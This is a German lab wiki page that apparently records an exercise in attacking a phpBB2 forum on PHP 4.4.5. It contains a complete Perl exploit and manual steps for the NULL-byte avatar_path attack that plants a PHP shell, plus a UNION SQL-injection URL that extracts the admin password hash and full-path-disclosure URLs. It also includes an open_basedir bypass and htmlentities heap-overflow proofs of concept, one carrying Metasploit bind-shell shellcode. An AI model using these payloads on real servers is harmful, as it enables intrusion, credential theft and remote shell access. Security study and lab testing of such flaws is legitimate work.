Mögliche Angriffs-Szenarien

Aus Labor für Echtzeitsysteme

Wechseln zu: Navigation, Suche

Inhaltsverzeichnis

[bearbeiten] default Werte im Referenzsystem

  • register_globals = Off
  • allow_url_fopen = On
  • open_basedir =

[bearbeiten] Avatar-Exploit

werden bei phpBB2 samt profil config als Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx übertragen.

[bearbeiten] default Werte

  • Maximum Avatar File Size (For uploaded avatar files) 6144 Bytes
  • Maximum Avatar Dimensions (Height x Width in pixels) 80x80 pixel²


phpBB "avatar_path" Ausführung von PHP-Code Zugang zum Administrationsbereich Voraussetzung

Code execution in jpeg files oder einfach mit http://www.irfanview.com/ dem JPEG ein Kommentar hinzugügen


[bearbeiten] Multiple PHP Application NULL Byte Poisoning

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4758 nur als Admin

http://www.securiteam.com/securitynews/5FP0C0KJPQ.html PERL evtl. nicht installiert


Summary File operation functions of PHP don't funciton correctly when a NULL byte is used in the filename.

This NULL byte poisoning vulnerability affects different PHP applications. Example of vulnerable applications are phpBB and punBB.

Credit: The original article can be found at: http://www.security.nnov.ru/Odocument221.html

Details

Vulnerable Systems:

  • phpBB version 2.0.21
  • punBB version 1.2.12

When a NULL byte is used in a file name some file operating functions of PHP don't work correctly.

For example:

copy('1.jpg', "./dir_for_upload/1.php\0"."/2.jpg");

or

copy('1.jpg', "./dir_for_upload/1.php/\0"."/2.jpg");

will copy 1.jpg to 1.php, same will happens in functions move_uploaded_file() and rename()

Another example:

unlink("./dir_for_upload/1.php\0"."/2.jpg");

will remove file 1.php.

unlink("./dir_for_upload/1.php/\0"."/2.jpg");
Warning: unlink(./dir_for_upload/1.php/) [function.unlink]: Not a directory
Will not remove 1.php.

This vulnerability can be used to upload or replace arbitrary files on server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.

In case of phpBB and punBB vulnerability can be exploited by changing location of avatar file and uploading avatar file with PHP code in EXIF data.

Proof of concept:

#!/usr/bin/perl -w

use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());
 
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
my $res = $ua->request($req);

$res=$ua->get('http://'.$ARGV[0].'/login.php');
$content=$res->content;
$content=~ /php\?sid=([^"]+)"/g;
if($ARGV[4]){
  $content=$res->content;
  print $content;
}
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);

$url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
  $content=$res->content;
  print $content;
}

Dieses Perl-Skript wird von dem angreifenden Rechner ausgeführt. Möglicherweise müssen einige Perl-Module zusätzlich installiert werden (z.B. LWP). Der Kommandozeilenaufruf ist dann

./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php

Wobei localhost.com/forum/ die URL des anzugreifenden Forums ist (ohne http). admin ist der Accountname des Admin-Benutzers und pass sein Passwort. images/avatars/shell.php ist der Name der Datei, die mittels des Null character Exploits im Upload angelegt werden soll. Diese Datei lässt sich später aufrufen und auf dem Server ausführen.

Das Perl-Script logt sich als Admin ein und stellt im Adminboard den Speicherpfad zu den Avataren auf images/avatars/shell.php%00 um. Jedoch hat sich im Test herausgestellt, dass sich zwar als Admin eingelogt werden kann, doch für das Adminboard ein nochmaliger Login notwendig ist. Das Script ließe sich möglicherweise dahingehend umschreiben, dass es sich direkt im Adminboard einlogt. Doch genau diese Änderung kann auch von Hand vorgenommen werden.

[bearbeiten] Umsetzung von Hand

funktioniert, Voraussetzung: Adminrechte

  1. Profil des Administrators aufrufen
  2. zweiten Tab mit Administrator panel - General Admin - Configuation öffnen
  3. Avatar Settings - Avatar Storage Path auf "images/avatars/shell.php%00" setzten
  4. "Enable avatar uploading" aktivieren
  5. Firefox Extension "Tamper Data" starten
  6. Avatar Settings - Submit
  7. in "Tamper Data" POSTDATA "avatar_path" auf "images/avatars/shell.php%00" ändern
  8. lokalen exploit avatar uploaden



Bild:Sahne-Avatar.jpeg Falls wir erfolgreich sind, sollten wir schon "unseren" TAG hinterlassen... ;-)

[bearbeiten] SQL-Injection

PHPBB 2.0.x privmsg SQL injection Exploit

http://localhost/phpbb2/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION
SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0,0,0,0,0,0,0,0,0,user_password FROM phpbb_users WHERE user_id=2 LIMIT 1/*

http://seclists.org/fulldisclosure/2004/Mar/1329.html seit 2.0.8 gefixed

[bearbeiten] XSS (Cross-site scripting)

http://en.wikipedia.org/wiki/Cross_site_scripting

http://forum.serverplan.com/viewtopic.php?p=8210&sid=f0f3524e6e5601838551ea84fb5c94f2

[bearbeiten] Cookie-Exploit

phpBB 2.0.12 Session Handling Administrator Authentication Bypass -SIMPLIFIED- seit 2.0.13 gefixed

[bearbeiten] PM-Exploit

was ist das?

[bearbeiten] PHP: Hypertext Preprocessor

[bearbeiten] Security Enhancements and Fixes in PHP 4.4.5

http://www.php.net/releases/4_4_5.php

  • extensions (wissen nicht welche aktiv sind)
    • Fixed possible safe_mode & open_basedir bypasses inside the session extension.
    • Fixed possible overflows and stack corruptions in the session extension.
    • Fixed possible overflows inside zip & imap extensions.
    • Fixed non-validated resource destruction inside the shmop extension.
    • Fixed a possible information disclosure inside the wddx extension.
  • 64bit (nur Windows XP installiert)
    • Fixed unserialize() abuse on 64 bit systems with certain input strings.
    • Fixed a possible string format vulnerability in *print() functions on 64 bit systems.


nach den folgenden könnte man mal suchen:

  • overflow/underflow (evtl. zu kompliziert)
    • Fixed a possible overflow in the str_replace() function.
    • Fixed a possible buffer overflow inside ibase_{delete,add,modify}_user() function.
    • Fixed a possible buffer overflow inside mail() function on Windows.
    • Fixed an underflow inside the internal sapi_header_op() function.
  • other
    • Fixed a string format vulnerability inside the odbc_result_all() function.
    • Fixed possible clobbering of super-globals in several code paths.

[bearbeiten] odbc_result_all

nur bei mssql-odbc?

[bearbeiten] superglobals

[bearbeiten] PHP Remote Command Execution and Multiple Security Bypass Vulnerabilities

http://www.frsirt.com/english/advisories/2006/4317

  • htmlentities() [and htmlspecialchars()]
  • cURL extension
  • str_repeat() and wordwrap() functions on 64bit systems
  • tempnam()

[bearbeiten] PHP-Vulnerabilities

In php 4.4.5 wurden folgende Funktionen gefixt, die auch von phpbb2 genutzt werden:

  • tempnam(); local exploit only? Adminrechte werden benötigt
Erzeugt eine Datei mit einem eindeutigen Dateinamen in dem spezifizierten Verzeichnis. Wenn das Verzeichnis nicht existiert, erstellt tempnam() eine Datei im temporären Verzeichnis des Systems, und gibt den Dateinamen zurück.
tempnam("path_from_open_basedir","../../../../../../../../Open_basedir_bypasswd");
  • htmlspecialchars()
siehe oben... vermutlich nicht anfällig
  • str_replace()
http://www.informit.com/articles/article.asp?p=516587&rl=1
string.c (2534):
  • Z_STRVAL_P(result) = target = emalloc(Z_STRLEN_P(result) + 1);
  • Z_STRVAL_P(result) = target = safe_emalloc(char_count, to_len, len);
  • mail()
siehe oben...
Noch nicht richtig konfiguriert.

[bearbeiten] PHP 5.1.6 / 4.4.4 Critical php_admin* bypass by ini_restore()

http://securityreason.com/achievement_securityalert/42

[bearbeiten] PHP HTML Entity Encoder Heap Overflow Vulnerability

http://www.hardened-php.net/advisory_132006.138.html

[bearbeiten] Heap Overflow

Wenn ich das richtig verstehe, wird das nur funktionieren, wenn man den Beispielcode hochlädt!?

- Evtl. direkt über die URL Eingabe ausführbar (htmlspecialchars)


<?php
/*	     Zarathu		*/
/*    www.whitepaperclip.com 	*/

//instantiate a string
$str1 = "";
	
for($i=0; $i < 64; $i++) {
  $str1 .= toUTF(977); //MUST start with 977 before bit-shifting
}
htmlentities($str1, ENT_NOQUOTES, "UTF-8"); //DoS here
/*
  htmlentities() method automatically assumes
  it is a max of 8 chars.  uses greek theta
  character bug from UTF-8
*/
?>

<?php
function toUTF($x) {
  return chr(($x >> 6) + 192) . chr(($x & 63) + 128);
}
?>

# milw0rm.com [2006-11-27]

oder kurz

<?php
  $str1 = "ϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑϑ";
  htmlentities($str1, ENT_NOQUOTES, "UTF-8");
  function toUTF($x) {return '0';} 
?>

http://ferruh.mavituna.com/article/?1344

<?
$fuzzFixed="A";
#/* linux_ia32_bind - LPORT=4444 Size=108 Encoder=PexFnstenvSub [w] http://metasploit.com */
$shellcode = 
"\x2b\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x64"
"\xb4\xc7\x69\x83\xeb\xfc\xe2\xf4\x55\x6f\x94\x2a\x37\xde\xc5\x03"
"\x02\xec\x5e\xe0\x85\x79\x47\xff\x27\xe6\xa1\x01\x75\xe8\xa1\x3a"
"\xed\x55\xad\x0f\x3c\xe4\x96\x3f\xed\x55\x0a\xe9\xd4\xd2\x16\x8a"
"\xa9\x34\x95\x3b\x32\xf7\x4e\x88\xd4\xd2\x0a\xe9\xf7\xde\xc5\x30"
"\xd4\x8b\x0a\xe9\x2d\xcd\x3e\xd9\x6f\xe6\xaf\x46\x4b\xc7\xaf\x01"
"\x4b\xd6\xae\x07\xed\x57\x95\x3a\xed\x55\x0a\xe9";

echo "hmm";

for($pl=0; $pl<63; $pl++)
  $fuzzFixed .= code2utf(977);
if($pl == "63") {
  $fuzzFixed .= "BBBB"; #jump to ebp
  $fuzzFixed .= "CCCC"; #ahh eip
  $fuzzFixed .= "$shellcode";
}
htmlentities($fuzzFixed , ENT_NOQUOTES, "utf-8" );

function code2utf($num){
  return chr(($num>>6)+192).chr(($num&63)+128);
}

echo "ehm...";
?>

[bearbeiten] remote code inclusion vulnerabilities

http://www.hardened-php.net/suhosin/why.html

Another common error in these books is that they spread the urban legend that the most dangerous problem within PHP "remote code inclusion vulnerabilities" can be fixed by disabling /allow_url_fopen/ in the configuration (or /allow_url_include/ in PHP 5.2.x). This information is simply wrong, because these configuration directives do *NOT* protect against attacks through |php://input| or |data://| URLs. Our Suhosin <http://www.hardened-php.net/suhosin/index.html> and the former Hardening-Patch are the *only available protections* that close all URL include attacks.

[bearbeiten] phpBB

phpBB 2.0.21 Full Path Disclosure funktioniert

http://localhost/phpBB2/privmsg.php?folder[]=
http://localhost/phpBB2/profile.php?mode[]=
http://localhost/phpBB2/posting.php?mode[]=
http://localhost/phpBB2/groupcp.php?mode[]=
http://localhost/phpBB2/modcp.php?mode[]=

[bearbeiten] evtl. Mods?


[bearbeiten] Portal?

[bearbeiten] Webserver?

Apache/1.3.26 Server at www.bit-fighter.de Port 80 X-Powered-By=PHP/4.4.5-dev

Persönliche Werkzeuge